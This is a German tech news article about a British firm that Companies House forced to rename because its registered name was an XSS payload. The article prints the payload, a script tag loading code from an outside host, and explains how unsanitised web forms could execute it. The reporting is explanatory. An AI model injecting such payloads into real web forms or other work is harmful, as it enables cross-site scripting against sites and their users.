Firma musste Namen ändern, weil er gefährlichen Code enthält

10. Nov. 2020, 21:01 |  0 Kommentare


Bild: Pixabay

Der Name einer britischen Firma stellte ein potenzielles Sicherheitsrisiko dar und wurde geändert.

Eine britische Software-Beratungsfirma wurde von der dortigen Handelsregister-Behörde Companies House gezwungen, ihren Namen zu ändern. Der Grund: Er bestand aus HTML-Code und könne als Exploit gegen Webseiten eingesetzt werden, die ihre Webformulare nicht ausreichend gegen Cross-Site-Scripting-Angriffe (XSS) schützen.

Der Originalname:
Code:
""><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD"


So wie jene der Behörde, wie The Guardian schreibt.

Die Eingabe des Namens in ein ungesichertes Textfeld kann begünstigen, dass die dahinterliegende Anwendung glaubt, dass es sich nicht um einen Firmennamen handle, sondern diesen als HTML-Code interpretiert und ausführt. Dies kann auch in Form eines Skripts hinter einer URL erfolgen. Laut der britischen Zeitung habe das hinterlegte Skript lediglich eine harmlose Warnung ausgegeben.

Mehr dazu findest Du auf futurezone.at


Autor schreiben




Kurze URL:


Bewertung: 3.0/5 (3 Stimmen)


Das könnte Dich auch interessieren:


Ähnliche News:
"Firma für Erwachsene": IT-Firma zwingt Mitarbeiter zurück ins Office
Cyberangriff auf Kryptofirma: Mitarbeiter tagelang aus Google-Konten ausgesperrt
Facebook-Mutter Meta will bei weltgrößter Brillenfirma einsteigen
Bittorrent-Filesharing: Milliardenklage von Musikbranche gegen Telekomfirma
Cyberangriff auf steirische IT-Firma
Musks Ki-Firma will Chatbot Grok zu Open Source machen
Robotersaugerfirma iRobot kämpft mit Umsatzrückgang und roten Zahlen
Reddit verkauft Inhalte als Trainingsdaten an große KI-Firma
Chipfirma Arm profitiert von KI-Geschäft
Aircar: Chinesische Firma erwirbt europäisches Flugauto


Weitere News:
Broadcom verliert Großkunden mit 20.000 VMs
Das Papamobil fährt nun elektrisch
Milliardäre drängen in die Politik: Zufall oder gezielte Machtstrategie?
Flexbar auf Kickstarter: Apples Touchbar als separates Zubehör
Google Pixel erhält neue Temperatur-Überwachung
Chinas Satelliteninternet drängt auf brasilianischen Markt
OpenAI erwägt Werbung in der kostenlosen Version von ChatGPT
KI-Berater: Mark Zuckerberg möchte bei Trumps Regierung mitmachen
Kritische Sicherheitslücke in Google Chrome behoben
Angeblicher Leak zeigt erstmals die Nintendo Switch 2


Einen Kommentar schreiben

Du willst nicht als "Gast" schreiben? Logg Dich Hier ein.

Code:

Code neuladen

Kommentare
(0)

Bitte bleibe sachlich und fair in deinen Äußerungen. Sollte dein Kommentar nicht sofort erscheinen, ist er in der Warteschlange gelandet und wird meist zeitnah freigeschaltet.



Kommentare:

Du hast bereits für diesen Kommentar abgestimmt...

;-)


© by Ress Design Group, 2001 - 2024

Top